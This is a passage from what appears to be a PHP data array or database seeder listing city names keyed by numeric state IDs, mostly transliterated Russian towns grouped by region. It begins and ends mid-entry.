'tamboesti'],\n ['state_id' => '2976', 'name' => 'tanasoaia'],\n ['state_id' => '2976', 'name' => 'tataranu'],\n ['state_id' => '2976', 'name' => 'tifesti'],\n ['state_id' => '2976', 'name' => 'tulnici'],\n ['state_id' => '2976', 'name' => 'urechesti'],\n ['state_id' => '2976', 'name' => 'valea sarii'],\n ['state_id' => '2976', 'name' => 'vanatori'],\n ['state_id' => '2976', 'name' => 'vartescoiu'],\n ['state_id' => '2976', 'name' => 'vidra'],\n ['state_id' => '2976', 'name' => 'vintileasca'],\n ['state_id' => '2976', 'name' => 'vizantea'],\n ['state_id' => '2976', 'name' => 'vrancioaia'],\n ['state_id' => '2976', 'name' => 'vulturu'],\n ['state_id' => '2977', 'name' => 'adygejsk'],\n ['state_id' => '2977', 'name' => 'enem'],\n ['state_id' => '2977', 'name' => 'jablonovskij'],\n ['state_id' => '2977', 'name' => 'kamennomostskij'],\n ['state_id' => '2977', 'name' => 'majkop'],\n ['state_id' => '2977', 'name' => 'tulskij'],\n ['state_id' => '2978', 'name' => 'aginskoje'],\n ['state_id' => '2979', 'name' => 'alagir'],\n ['state_id' => '2979', 'name' => 'ardon'],\n ['state_id' => '2979', 'name' => 'beslan'],\n ['state_id' => '2979', 'name' => 'digora'],\n ['state_id' => '2979', 'name' => 'mozdok'],\n ['state_id' => '2979', 'name' => 'vladikavkaz'],\n ['state_id' => '2979', 'name' => 'zavodskoj'],\n ['state_id' => '2980', 'name' => 'alejsk'],\n ['state_id' => '2980', 'name' => 'barnaul'],\n ['state_id' => '2980', 'name' => 'belojarsk'],\n ['state_id' => '2980', 'name' => 'belokuriha'],\n ['state_id' => '2980', 'name' => 'bijsk'],\n ['state_id' => '2980', 'name' => 'blagoveshchenka'],\n ['state_id' => '2980', 'name' => 'gornjak'],\n ['state_id' => '2980', 'name' => 'jarovoe'],\n ['state_id' => '2980', 'name' => 'juzhnyj'],\n ['state_id' => '2980', 'name' => 'kamen-na-obi'],\n ['state_id' => '2980', 'name' => 'novoaltajsk'],\n ['state_id' => '2980', 'name' => 'novosilikatnyj'],\n ['state_id' => '2980', 'name' => 'rubcovsk'],\n ['state_id' => '2980', 'name' => 'sibirskiy'],\n ['state_id' => '2980', 'name' => 'slavgorod'],\n ['state_id' => '2980', 'name' => 'talmenka'],\n ['state_id' => '2980', 'name' => 'zarinsk'],\n ['state_id' => '2980', 'name' => 'zmeinogorsk'],\n ['state_id' => '2981', 'name' => 'arhara'],\n ['state_id' => '2981', 'name' => 'belogorsk'],\n ['state_id' => '2981', 'name' => 'blagoveshchensk'],\n ['state_id' => '2981', 'name' => 'jerofej pavlovich'],\n ['state_id' => '2981', 'name' => 'magdagachi'],\n ['state_id' => '2981', 'name' => 'novoburejskij'],\n ['state_id' => '2981', 'name' => 'progress'],\n ['state_id' => '2981', 'name' => 'rajchihinsk'],\n ['state_id' => '2981', 'name' => 'seryshevo'],\n ['state_id' => '2981', 'name' => 'shimanovsk'],\n ['state_id' => '2981', 'name' => 'skovorodino'],\n ['state_id' => '2981', 'name' => 'svobodnyj'],\n ['state_id' => '2981', 'name' => 'tynda'],\n ['state_id' => '2981', 'name' => 'urusha'],\n ['state_id' => '2981', 'name' => 'zavitinsk'],\n ['state_id' => '2981', 'name' => 'zeja'],\n ['state_id' => '2982', 'name' => 'arhangelsk'],\n ['state_id' => '2982', 'name' => 'jemca'],\n ['state_id' => '2982', 'name' => 'jercevo'],\n ['state_id' => '2982', 'name' => 'kargopol'],\n ['state_id' => '2982', 'name' => 'konosha'],\n ['state_id' => '2982', 'name' => 'korjazhma'],\n ['state_id' => '2982', 'name' => 'kotlas'],\n ['state_id' => '2982', 'name' => 'kuloj'],\n ['state_id' => '2982', 'name' => 'maloshujka'],\n ['state_id' => '2982', 'name' => 'mirnyj'],\n ['state_id' => '2982', 'name' => 'njandoma'],\n ['state_id' => '2982', 'name' => 'novodvinsk'],\n ['state_id' => '2982', 'name' => 'obozjorskij'],\n ['state_id' => '2982', 'name' => 'oktjabrskij'],\n ['state_id' => '2982', 'name' => 'onega'],\n ['state_id' => '2982', 'name' => 'plesetsk'],\n ['state_id' => '2982', 'name' => 'podjuga'],\n ['state_id' => '2982', 'name' => 'puksoozero'],\n ['state_id' => '2982', 'name' => 'samoded'],\n ['state_id' => '2982', 'name' => 'savinskij'],\n ['state_id' => '2982', 'name' => 'severodvinsk'],\n ['state_id' => '2982', 'name' => 'shenkursk'],\n ['state_id' => '2982', 'name' => 'udimskij'],\n ['state_id' => '2982', 'name' => 'urdoma'],\n ['state_id' => '2982', 'name' => 'velsk'],\n ['state_id' => '2982', 'name' => 'vychegodskij'],\n ['state_id' => '2983', 'name' => 'ahtubinsk'],\n ['state_id' => '2983', 'name' => 'astrahan'],\n ['state_id' => '2983', 'name' => 'harabali'],\n ['state_id' => '2983', 'name' => 'kamyzjak'],\n ['state_id' => '2983', 'name' => 'kapustin jar'],\n ['state_id' => '2983', 'name' => 'liman'],\n ['state_id' => '2983', 'name' => 'narimanov'],\n ['state_id' => '2983', 'name' => 'verhnij baskunchak'],\n ['state_id' => '2983', 'name' => 'volodarskij'],\n ['state_id' => '2983', 'name' => 'znamensk'],\n ['state_id' => '2984', 'name' => 'agidel'],\n ['state_id' => '2984', 'name' => 'bajmak'],\n ['state_id' => '2984', 'name' => 'belebej'],\n ['state_id' => '2984', 'name' => 'beloreck'],\n ['state_id' => '2984', 'name' => 'birsk'],\n ['state_id' => '2984', 'name' => 'blagoveshchensk'],\n ['state_id' => '2984', 'name' => 'chishmy'],\n ['state_id' => '2984', 'name' => 'davlekanovo'],\n ['state_id' => '2984', 'name' => 'djurtjuli'],\n ['state_id' => '2984', 'name' => 'iglino'],\n ['state_id' => '2984', 'name' => 'ishimbaj'],\n ['state_id' => '2984', 'name' => 'janaul'],\n ['state_id' => '2984', 'name' => 'jermolajevo'],\n ['state_id' => '2984', 'name' => 'kandry'],\n ['state_id' => '2984', 'name' => 'krasnousolskij'],\n ['state_id' => '2984', 'name' => 'kumertau'],\n ['state_id' => '2984', 'name' => 'meleuz'],\n ['state_id' => '2984', 'name' => 'mezhgorje'],\n ['state_id' => '2984', 'name' => 'neftekamsk'],\n ['state_id' => '2984', 'name' => 'oktjabrskij'],\n ['state_id' => '2984', 'name' => 'oktyabrsky'],\n ['state_id' => '2984', 'name' => 'prijutovo'],\n ['state_id' => '2984', 'name' => 'rajevskij'],\n ['state_id' => '2984', 'name' => 'salavat'],\n ['state_id' => '2984', 'name' => 'serafimovskij'],\n ['state_id' => '2984', 'name' => 'sibaj'],\n ['state_id' => '2984', 'name' => 'sterlitamak'],\n ['state_id' => '2984', 'name' => 'tujmazy'],\n ['state_id' => '2984', 'name' => 'uchaly'],\n ['state_id' => '2984', 'name' => 'ufa'],\n ['state_id' => '2985', 'name' => 'aleksejevka'],\n ['state_id' => '2985', 'name' => 'belgorod'],\n ['state_id' => '2985', 'name' => 'borisovka'],\n ['state_id' => '2985', 'name' => 'chernjanka'],\n ['state_id' => '2985', 'name' => 'grajvoron'],\n ['state_id' => '2985', 'name' => 'gubkin'],\n ['state_id' => '2985', 'name' => 'novyj oskol'],\n ['state_id' => '2985', 'name' => 'rakitnoe'],\n ['state_id' => '2985', 'name' => 'razumnoe'],\n ['state_id' => '2985', 'name' => 'shebekino'],\n ['state_id' => '2985', 'name' => 'staryj oskol'],\n ['state_id' => '2985', 'name' => 'stroitel'],\n ['state_id' => '2985', 'name' => 'tomarovka'],\n ['state_id' => '2985', 'name' => 'valujki'],\n ['state_id' => '2985', 'name' => 'volokonovka'],\n ['state_id' => '2986', 'name' => 'belye berega'],\n ['state_id' => '2986', 'name' => 'brjansk'],\n ['state_id' => '2986', 'name' => 'djatkovo'],\n ['state_id' => '2986', 'name' => 'fokino'],\n ['state_id' => '2986', 'name' => 'karachev'],\n ['state_id' => '2986', 'name' => 'kletnja'],\n ['state_id' => '2986', 'name' => 'klimovo'],\n ['state_id' => '2986', 'name' => 'klincy'],\n ['state_id' => '2986', 'name' => 'lokot'],\n ['state_id' => '2986', 'name' => 'navlja'],\n ['state_id' => '2986', 'name' => 'novozybkov'],\n ['state_id' => '2986', 'name' => 'pochjop'],\n ['state_id' => '2986', 'name' => 'pogar'],\n ['state_id' => '2986', 'name' => 'selco'],\n ['state_id' => '2986', 'name' => 'starodub'],\n ['state_id' => '2986', 'name' => 'surazh'],\n ['state_id' => '2986', 'name' => 'suzjomka'],\n ['state_id' => '2986', 'name' => 'trubchjovsk'],\n ['state_id' => '2986', 'name' => 'unecha'],\n ['state_id' => '2986', 'name' => 'zhukovka'],\n ['state_id' => '2987', 'name' => 'gusinoozjorsk'],\n ['state_id' => '2987', 'name' => 'kamensk'],\n ['state_id' => '2987', 'name' => 'kjahta'],\n ['state_id' => '2987', 'name' => 'novyj uojan'],\n ['state_id' => '2987', 'name' => 'onohoj'],\n ['state_id' => '2987', 'name' => 'selenginsk'],\n ['state_id' => '2987', 'name' => 'severobajkalsk'],\n ['state_id' => '2987', 'name' => 'taksimo'],\n ['state_id' => '2987', 'name' => 'ulan-ude'],\n ['state_id' => '2987', 'name' => 'zakamensk'],\n ['state_id' => '2987', 'name' => 'zarechnyj'],\n ['state_id' => '2988', 'name' => 'groznyj'],\n ['state_id' => '2988', 'name' => 'gudermes'],\n ['state_id' => '2988', 'name' => 'malgobek'],\n ['state_id' => '2988', 'name' => 'urus-martan'],\n ['state_id' => '2989', 'name' => 'asha'],\n ['state_id' => '2989', 'name' => 'bakal'],\n ['state_id' => '2989', 'name' => 'bazhovo'],\n ['state_id' => '2989', 'name' => 'berdjaush'],\n ['state_id' => '2989', 'name' => 'chebarkul'],\n ['state_id' => '2989', 'name' => 'cheljabinsk'],\n ['state_id' => '2989', 'name' => 'chelyabinsk'],\n ['state_id' => '2989', 'name' => 'gornjak'],\n ['state_id' => '2989', 'name' => 'jemanzhelinsk'],\n ['state_id' => '2989', 'name' => 'jurjuzan'],\n ['state_id' => '2989', 'name' => 'juznouralsk'],\n ['state_id' => '2989', 'name' => 'karabash'],\n ['state_id' => '2989', 'name' => 'kartaly'],\n ['state_id' => '2989', 'name' => 'kasli'],\n ['state_id' => '2989', 'name' => 'katav-ivanovsk'],\n ['state_id' => '2989', 'name' => 'kopejsk'],\n ['state_id' => '2989', 'name' => 'korkino'],\n ['state_id' => '2989', 'name' => 'krasnogorskij'],\n ['state_id' => '2989', 'name' => 'kusa'],\n ['state_id' => '2989', 'name' => 'kyshtym'],\n ['state_id' => '2989', 'name' => 'lokomotivnyj'],\n ['state_id' => '2989', 'name' => 'magnitka'],\n ['state_id' => '2989', 'name' => 'magnitogorsk'],\n ['state_id' => '2989', 'name' => 'miass'],\n ['state_id' => '2989', 'name' => 'minjar'],\n ['state_id' => '2989', 'name' => 'njazepetrovsk'],\n ['state_id' => '2989', 'name' => 'novosineglazovskij'],\n ['state_id' => '2989', 'name' => 'ozjorsk'],\n ['state_id' => '2989', 'name' => 'pervomajskij'],\n ['state_id' => '2989', 'name' => 'plast'],\n ['state_id' => '2989', 'name' => 'roza'],\n ['state_id' => '2989', 'name' => 'satka'],\n ['state_id' => '2989', 'name' => 'sim'],\n ['state_id' => '2989', 'name' => 'snezhinsk'],\n ['state_id' => '2989', 'name' => 'starokamyshinsk'],\n ['state_id' => '2989', 'name' => 'suleja'],\n ['state_id' => '2989', 'name' => 'trjohgornij'],\n ['state_id' => '2989', 'name' => 'troick'],\n ['state_id' => '2989', 'name' => 'ust-katav'],\n ['state_id' => '2989', 'name' => 'verhneuralsk'],\n ['state_id' => '2989', 'name' => 'verhnij ufalej'],\n ['state_id' => '2989', 'name' => 'zlatoust'],\n ['state_id' => '2990', 'name' => 'atamanovka'],\n ['state_id' => '2990', 'name' => 'balej'],\n ['state_id' => '2990', 'name' => 'borzja'],\n ['state_id' => '2990', 'name' => 'bukachacha'],\n ['state_id' => '2990', 'name' => 'chernyshevsk'],\n ['state_id' => '2990', 'name' => 'chita'],\n ['state_id' => '2990', 'name' => 'darasun'],\n ['state_id' => '2990', 'name' => 'gornyy'],\n ['state_id' => '2990', 'name' => 'hilok'],\n ['state_id' => '2990', 'name' => 'karymskoje'],\n ['state_id' => '2990', 'name' => 'krasnokamensk'],\n ['state_id' => '2990', 'name' => 'mogocha'],\n ['state_id' => '2990', 'name' => 'nerchinsk'],\n ['state_id' => '2990', 'name' => 'novaja chara'],\n ['state_id' => '2990', 'name' => 'novokruchuninskij'],\n ['state_id' => '2990', 'name' => 'olovjannaja'],\n ['state_id' => '2990', 'name' => 'pervomajskij'],\n ['state_id' => '2990', 'name' => 'petrovsk-zabajkalskij'],\n ['state_id' => '2990', 'name' => 'sherlovaja gora'],\n ['state_id' => '2990', 'name' => 'shilka'],\n ['state_id' => '2990', 'name' => 'sretensk'],\n ['state_id' => '2990', 'name' => 'vershino-darasunskij'],\n ['state_id' => '2990', 'name' => 'zabajkalsk'],\n ['state_id' => '2991', 'name' => 'anadyr'],\n ['state_id' => '2991', 'name' => 'bilibino'],\n ['state_id' => '2991', 'name' => 'pevek'],\n ['state_id' => '2991', 'name' => 'ugolnyje kopi'],\n ['state_id' => '2992', 'name' => 'alatyr'],\n ['state_id' => '2992', 'name' => 'cheboksary'],\n ['state_id' => '2992', 'name' => 'civilsk'],\n ['state_id' => '2992', 'name' => 'ibresi'],\n ['state_id' => '2992', 'name' => 'jadrin'],\n ['state_id' => '2992', 'name' => 'kanash'],\n ['state_id' => '2992', 'name' => 'kozlovka'],\n ['state_id' => '2992', 'name' => 'kugesy'],\n ['state_id' => '2992', 'name' => 'mariinskij posad'],\n ['state_id' => '2992', 'name' => 'novocheboksarsk'],\n ['state_id' => '2992', 'name' => 'shumerlja'],\n ['state_id' => '2992', 'name' => 'vurnary'],\n ['state_id' => '2993', 'name' => 'belidzhi'],\n ['state_id' => '2993', 'name' => 'bujnaksk'],\n ['state_id' => '2993', 'name' => 'dagestanskije ogni'],\n ['state_id' => '2993', 'name' => 'derbent'],\n ['state_id' => '2993', 'name' => 'hasavjurt'],\n ['state_id' => '2993', 'name' => 'izberbash'],\n ['state_id' => '2993', 'name' => 'juzhno-suhokumsk'],\n ['state_id' => '2993', 'name' => 'kaspijsk'],\n ['state_id' => '2993', 'name' => 'kiziljurt'],\n ['state_id' => '2993', 'name' => 'kizljar'],\n ['state_id' => '2993', 'name' => 'mahackala'],\n ['state_id' => '2994', 'name' => 'tura'],\n ['state_id' => '2995', 'name' => 'gorno-altajsk'],\n ['state_id' => '2996', 'name' => 'amursk'],\n ['state_id' => '2996', 'name' => 'bikin'],\n ['state_id' => '2996', 'name' => 'chegdomyn'],\n ['state_id' => '2996', 'name' => 'cherdomyn'],\n ['state_id' => '2996', 'name' => 'habarovsk'],\n ['state_id' => '2996', 'name' => 'hor'],\n ['state_id' => '2996', 'name' => 'jelban'],\n ['state_id' => '2996', 'name' => 'komsomolsk-na-amure'],\n ['state_id' => '2996', 'name' => 'litovko'],\n ['state_id' => '2996', 'name' => 'nikolajevsk-na-amure'],\n ['state_id' => '2996', 'name' => 'ohotsk'],\n ['state_id' => '2996', 'name' => 'perejaslavka'],\n ['state_id' => '2996', 'name' => 'solnechnyj'],\n ['state_id' => '2996', 'name' => 'sovetskaja gavan'],\n ['state_id' => '2996', 'name' => 'uglegorsk'],\n ['state_id' => '2996', 'name' => 'vanino'],\n ['state_id' => '2996', 'name' => 'vjazemskij'],\n ['state_id' => '2996', 'name' => 'zavety iljicha'],\n ['state_id' => '2997', 'name' => 'abakan'],\n ['state_id' => '2997', 'name' => 'abaza'],\n ['state_id' => '2997', 'name' => 'cherjomushki'],\n ['state_id' => '2997', 'name' => 'chernogorsk'],\n ['state_id' => '2997', 'name' => 'sajanogorsk'],\n ['state_id' => '2997', 'name' => 'shira'],\n ['state_id' => '2997', 'name' => 'sorsk'],\n ['state_id' => '2997', 'name' => 'ust-abakan'],\n ['state_id' => '2998', 'name' => 'belojarskij'],\n ['state_id' => '2998', 'name' => 'belyj jar'],\n ['state_id' => '2998', 'name' => 'fjodorovskij'],\n ['state_id' => '2998', 'name' => 'hanty-mansijsk'],\n ['state_id' => '2998', 'name' => 'igrim'],\n ['state_id' => '2998', 'name' => 'izluchinsk'],\n ['state_id' => '2998', 'name' => 'jugorsk'],\n ['state_id' => '2998', 'name' => 'kogalym'],\n ['state_id' => '2998', 'name' => 'langepas'],\n ['state_id' => '2998', 'name' => 'ljantor'],\n ['state_id' => '2998', 'name' => 'megion'],\n ['state_id' => '2998', 'name' => 'mezhdurechenskij'],\n ['state_id' => '2998', 'name' => 'neftejugansk'],\n ['state_id' => '2998', 'name' => 'nizhnevartovsk'],\n ['state_id' => '2998', 'name' => 'njagan'],\n ['state_id' => '2998', 'name' => 'novoagansk'],\n ['state_id' => '2998', 'name' => 'pojkovskij'],\n ['state_id' => '2998', 'name' => 'pokachi'],\n ['state_id' => '2998', 'name' => 'raduzhnyj'],\n ['state_id' => '2998', 'name' => 'sovetskij'],\n ['state_id' => '2998', 'name' => 'surgut'],\n ['state_id' => '2998', 'name' => 'uraj'],\n ['state_id' => '2999', 'name' => 'karabulak'],\n ['state_id' => '2999', 'name' => 'nazran'],\n ['state_id' => '3000', 'name' => 'angarsk'],\n ['state_id' => '3000', 'name' => 'bajkalsk'],\n ['state_id' => '3000', 'name' => 'balagansk'],\n ['state_id' => '3000', 'name' => 'birjusinsk'],\n ['state_id' => '3000', 'name' => 'bodajbo'],\n ['state_id' => '3000', 'name' => 'bratsk'],\n ['state_id' => '3000', 'name' => 'cheremhovo'],\n ['state_id' => '3000', 'name' => 'chunskij'],\n ['state_id' => '3000', 'name' => 'irkutsk'],\n ['state_id' => '3000', 'name' => 'kirensk'],\n ['state_id' => '3000', 'name' => 'kujtun'],\n ['state_id' => '3000', 'name' => 'mihajlovka'],\n ['state_id' => '3000', 'name' => 'nizhneudinsk'],\n ['state_id' => '3000', 'name' => 'novaja igirma'],\n ['state_id' => '3000', 'name' => 'sajansk'],\n ['state_id' => '3000', 'name' => 'shelehov'],\n ['state_id' => '3000', 'name' => 'sljudjanka'],\n ['state_id' => '3000', 'name' => 'svirsk'],\n ['state_id' => '3000', 'name' => 'tajshet'],\n ['state_id' => '3000', 'name' => 'tulun'],\n ['state_id' => '3000', 'name' => 'usolje-sibirskoje'],\n ['state_id' => '3000', 'name' => 'ust-ilimsk'],\n ['state_id' => '3000', 'name' => 'ust-kut'],\n ['state_id' => '3000', 'name' => 'vihorevka'],\n ['state_id' => '3000', 'name' => 'zalari'],\n ['state_id' => '3000', 'name' => 'zheleznodorozhnyj'],\n ['state_id' => '3000', 'name' => 'zheleznogorsk-ilimskij'],\n ['state_id' => '3000', 'name' => 'zima'],\n ['state_id' => '3001', 'name' => 'furmanov'],\n ['state_id' => '3001', 'name' => 'ivanovo'],\n ['state_id' => '3001', 'name' => 'jurjevec'],\n ['state_id' => '3001', 'name' => 'juzha'],\n ['state_id' => '3001', 'name' => 'kineshma'],\n ['state_id' => '3001', 'name' => 'kohma'],\n ['state_id' => '3001', 'name' => 'komsomolsk'],\n ['state_id' => '3001', 'name' => 'lezhnjovo'],\n ['state_id' => '3001', 'name' => 'navoloki'],\n ['state_id' => '3001', 'name' => 'privolzhsk'],\n ['state_id' => '3001', 'name' => 'puchezh'],\n ['state_id' => '3001', 'name' => 'rodniki'],\n ['state_id' => '3001', 'name' => 'shuja'],\n ['state_id' => '3001', 'name' => 'tejkovo'],\n ['state_id' => '3001', 'name' => 'vichuga'],\n ['state_id' => '3002', 'name' => 'gubkinskij'],\n ['state_id' => '3002', 'name' => 'korotchajevo'],\n ['state_id' => '3002', 'name' => 'labytnangi'],\n ['state_id' => '3002', 'name' => 'muravlenko'],\n ['state_id' => '3002', 'name' => 'nadym'],\n ['state_id' => '3002', 'name' => 'nojabrsk'],\n ['state_id' => '3002', 'name' => 'novyj urengoj'],\n ['state_id' => '3002', 'name' => 'pangody'],\n ['state_id' => '3002', 'name' => 'salehard'],\n ['state_id' => '3002', 'name' => 'tarko-sale'],\n ['state_id' => '3002', 'name' => 'urengoj'],\n ['state_id' => '3003', 'name' => 'danilov'],\n ['state_id' => '3003', 'name' => 'gavrilov-jam'],\n ['state_id' => '3003', 'name' => 'jaroslavl'],\n ['state_id' => '3003', 'name' => 'pereslavl-zalesskij'],\n ['state_id' => '3003', 'name' => 'rostov'],\n ['state_id' => '3003', 'name' => 'rybinsk'],\n ['state_id' => '3003', 'name' => 'tutajev'],\n ['state_id' => '3003', 'name' => 'uglich'],\n ['state_id' => '3004', 'name' => 'birakan'],\n ['state_id' => '3004', 'name' => 'birobidzhan'],\n ['state_id' => '3004', 'name' => 'imeni telmana'],\n ['state_id' => '3004', 'name' => 'izvestkovyj'],\n ['state_id' => '3004', 'name' => 'londoko'],\n ['state_id' => '3004', 'name' => 'obluchje'],\n ['state_id' => '3004', 'name' => 'teploozjorsk'],\n ['state_id' => '3005', 'name' => 'baksan'],\n ['state_id' => '3005', 'name' => 'chegem pervyj'],\n ['state_id' => '3005', 'name' => 'majskij'],\n ['state_id' => '3005', 'name' => 'nalchik'],\n ['state_id' => '3005', 'name' => 'nartkala'],\n ['state_id' => '3005', 'name' => 'prohladnyj'],\n ['state_id' => '3005', 'name' => 'terek'],\n ['state_id' => '3005', 'name' => 'tyrnyauz'],\n ['state_id' => '3006', 'name' => 'bagrationovsk'],\n ['state_id' => '3006', 'name' => 'baltijsk'],\n ['state_id' => '3006', 'name' => 'chernjahovsk'],\n ['state_id' => '3006', 'name' => 'gurjevsk'],\n ['state_id' => '3006', 'name' => 'gusev'],\n ['state_id' => '3006', 'name' => 'gvardejsk'],\n ['state_id' => '3006', 'name' => 'kaliningrad'],\n ['state_id' => '3006', 'name' => 'mamonovo'],\n ['state_id' => '3006', 'name' => 'neman'],\n ['state_id' => '3006', 'name' => 'nesterov'],\n ['state_id' => '3006', 'name' => 'ozjorsk'],\n ['state_id' => '3006', 'name' => 'pionerskij'],\n ['state_id' => '3006', 'name' => 'sovetsk'],\n ['state_id' => '3006', 'name' => 'svetlogorsk'],\n ['state_id' => '3006', 'name' => 'svetlyj'],\n ['state_id' => '3006', 'name' => 'zeljenogradsk'],\n ['state_id' => '3006', 'name' => 'znamensk'],\n ['state_id' => '3007', 'name' => 'elista'],\n ['state_id' => '3007', 'name' => 'gorodovikovsk'],\n ['state_id' => '3007', 'name' => 'lagan'],\n ['state_id' => '3008', 'name' => 'balabanovo'],\n ['state_id' => '3008', 'name' => 'belousovo'],\n ['state_id' => '3008', 'name' => 'borovsk'],\n ['state_id' => '3008', 'name' => 'jermolino'],\n ['state_id' => '3008', 'name' => 'kaluga'],\n ['state_id' => '3008', 'name' => 'kirov'],\n ['state_id' => '3008', 'name' => 'kondrovo'],\n ['state_id' => '3008', 'name' => 'kozelsk'],\n ['state_id' => '3008', 'name' => 'kremenki'],\n ['state_id' => '3008', 'name' => 'ljudinovo'],\n ['state_id' => '3008', 'name' => 'malojaroslavec'],\n ['state_id' => '3008', 'name' => 'obninsk'],\n ['state_id' => '3008', 'name' => 'sosenskij'],\n ['state_id' => '3008', 'name' => 'suhinichi'],\n ['state_id' => '3008', 'name' => 'tarusa'],\n ['state_id' => '3008', 'name' => 'tovarkovo'],\n ['state_id' => '3008', 'name' => 'zhukov'],\n ['state_id' => '3009', 'name' => 'jelizovo'],\n ['state_id' => '3009', 'name' => 'kljuchi'],\n ['state_id' => '3009', 'name' => 'mohovaja'],\n ['state_id' => '3009', 'name' => 'petropavlovsk-kamchatskij'],\n ['state_id' => '3009', 'name' => 'ust-kamchatsk'],\n ['state_id' => '3009', 'name' => 'viljuchinsk'],\n ['state_id' => '3009', 'name' => 'vulkannyj'],\n ['state_id' => '3010', 'name' => 'cherkessk'],\n ['state_id' => '3010', 'name' => 'karachajevsk'],\n ['state_id' => '3010', 'name' => 'ust-dzheguta'],\n ['state_id' => '3011', 'name' => 'belomorsk'],\n ['state_id' => '3011', 'name' => 'kem'],\n ['state_id' => '3011', 'name' => 'kondopoga'],\n ['state_id' => '3011', 'name' => 'kostomuksha'],\n ['state_id' => '3011', 'name' => 'lahdenpohja'],\n ['state_id' => '3011', 'name' => 'medvezhjegorsk'],\n ['state_id' => '3011', 'name' => 'nadvoicy'],\n ['state_id' => '3011', 'name' => 'olonec'],\n ['state_id' => '3011', 'name' => 'petrozavodsk'],\n ['state_id' => '3011', 'name' => 'pitkjaranta'],\n ['state_id' => '3011', 'name' => 'pudozh'],\n ['state_id' => '3011', 'name' => 'segezha'],\n ['state_id' => '3011', 'name' => 'sortavala'],\n ['state_id' => '3011', 'name' => 'suojarvi'],\n ['state_id' => '3012', 'name' => 'anzhero-sudzhensk'],\n ['state_id' => '3012', 'name' => 'bachatskij'],\n ['state_id' => '3012', 'name' => 'belovo'],\n ['state_id' => '3012', 'name' => 'berjozovskij'],\n ['state_id' => '3012', 'name' => 'gramoteino'],\n ['state_id' => '3012', 'name' => 'gurjevsk'],\n ['state_id' => '3012', 'name' => 'inskoj'],\n ['state_id' => '3012', 'name' => 'jashkino'],\n ['state_id' => '3012', 'name' => 'jurga'],\n ['state_id' => '3012', 'name' => 'kaltan'],\n ['state_id' => '3012', 'name' => 'kedrovka'],\n ['state_id' => '3012', 'name' => 'kemerovo'],\n ['state_id' => '3012', 'name' => 'kiseljovsk'],\n ['state_id' => '3012', 'name' => 'krasnobrodskij'],\n ['state_id' => '3012', 'name' => 'leninsk-kuzneckij'],\n ['state_id' => '3012', 'name' => 'malinovka'],\n ['state_id' => '3012', 'name' => 'mariinsk'],\n ['state_id' => '3012', 'name' => 'mezhdurechensk'],\n ['state_id' => '3012', 'name' => 'myski'],\n ['state_id' => '3012', 'name' => 'novokuzneck'],\n ['state_id' => '3012', 'name' => 'novokuznetsk'],\n ['state_id' => '3012', 'name' => 'novyj gorodok'],\n ['state_id' => '3012', 'name' => 'osinniki'],\n ['state_id' => '3012', 'name' => 'polsaevo'],\n ['state_id' => '3012', 'name' => 'prokopjevsk'],\n ['state_id' => '3012', 'name' => 'promyshlennaja'],\n ['state_id' => '3012', 'name' => 'promyshlennovskij'],\n ['state_id' => '3012', 'name' => 'salair'],\n ['state_id' => '3012', 'name' => 'starobachaty'],\n ['state_id' => '3012', 'name' => 'tajga'],\n ['state_id' => '3012', 'name' => 'tajzhina'],\n ['state_id' => '3012', 'name' => 'tashtagol'],\n ['state_id' => '3012', 'name' => 'temirtau'],\n ['state_id' => '3012', 'name' => 'tisul'],\n ['state_id' => '3012', 'name' => 'tjazhinskij'],\n ['state_id' => '3012', 'name' => 'topki'],\n ['state_id' => '3014', 'name' => 'belaja holunica'],\n ['state_id' => '3014', 'name' => 'jaransk'],\n ['state_id' => '3014', 'name' => 'jurja'],\n ['state_id' => '3014', 'name' => 'kirov'],\n ['state_id' => '3014', 'name' => 'kirovo-chepeck'],\n ['state_id' => '3014', 'name' => 'kirs'],\n ['state_id' => '3014', 'name' => 'kotelnich'],\n ['state_id' => '3014', 'name' => 'ljangasovo'],\n ['state_id' => '3014', 'name' => 'luza'],\n ['state_id' => '3014', 'name' => 'malmyzh'],\n ['state_id' => '3014', 'name' => 'murashi'],\n ['state_id' => '3014', 'name' => 'nolinsk'],\n ['state_id' => '3014', 'name' => 'omutninsk'],\n ['state_id' => '3014', 'name' => 'orichi'],\n ['state_id' => '3014', 'name' => 'orlov'],\n ['state_id' => '3014', 'name' => 'pervomajskij'],\n ['state_id' => '3014', 'name' => 'peskovka'],\n ['state_id' => '3014', 'name' => 'slobodskoj'],\n ['state_id' => '3014', 'name' => 'sosnovka'],\n ['state_id' => '3014', 'name' => 'sovetsk'],\n ['state_id' => '3014', 'name' => 'urzhum'],\n ['state_id' => '3014', 'name' => 'vahrushi'],\n ['state_id' => '3014', 'name' => 'vjatskije poljany'],\n ['state_id' => '3014', 'name' => 'zujevka'],\n ['state_id' => '3015', 'name' => 'blagoevo'],\n ['state_id' => '3015', 'name' => 'inta'],\n ['state_id' => '3015', 'name' => 'jarega'],\n ['state_id' => '3015', 'name' => 'jeletskij'],\n ['state_id' => '3015', 'name' => 'jemva'],\n ['state_id' => '3015', 'name' => 'komsomolskij'],\n ['state_id' => '3015', 'name' => 'krasnozatonskij'],\n ['state_id' => '3015', 'name' => 'mikun'],\n ['state_id' => '3015', 'name' => 'nizhnij odes'],\n ['state_id' => '3015', 'name' => 'pechora'],\n ['state_id' => '3015', 'name' => 'promyshlennyj'],\n ['state_id' => '3015', 'name' => 'severnyj'],\n ['state_id' => '3015', 'name' => 'sosnogorsk'],\n ['state_id' => '3015', 'name' => 'syktyvkar'],\n ['state_id' => '3015', 'name' => 'troicko-pechorsk'],\n ['state_id' => '3015', 'name' => 'uhta'],\n ['state_id' => '3015', 'name' => 'usinsk'],\n ['state_id' => '3015', 'name' => 'usogorsk'],\n ['state_id' => '3015', 'name' => 'vorgashor'],\n ['state_id' => '3015', 'name' => 'vorkuta'],\n ['state_id' => '3015', 'name' => 'vuktyl'],\n ['state_id' => '3015', 'name' => 'zheshart'],\n ['state_id' => '3016', 'name' => 'kudymkar'],\n ['state_id' => '3017', 'name' => 'palana'],\n ['state_id' => '3018', 'name' => 'buj'],\n ['state_id' => '3018', 'name' => 'galich'],\n ['state_id' => '3018', 'name' => 'kostroma'],\n ['state_id' => '3018', 'name' => 'makarjev'],\n ['state_id' => '3018', 'name' => 'manturovo'],\n ['state_id' => '3018', 'name' => 'neja'],\n ['state_id' => '3018', 'name' => 'nerehta'],\n ['state_id' => '3018', 'name' => 'sharja'],\n ['state_id' => '3018', 'name' => 'vetluzhskij'],\n ['state_id' => '3018', 'name' => 'volgorechensk'],\n ['state_id' => '3018', 'name' => 'zavolzhsk'],\n ['state_id' => '3019', 'name' => 'abinsk'],\n ['state_id' => 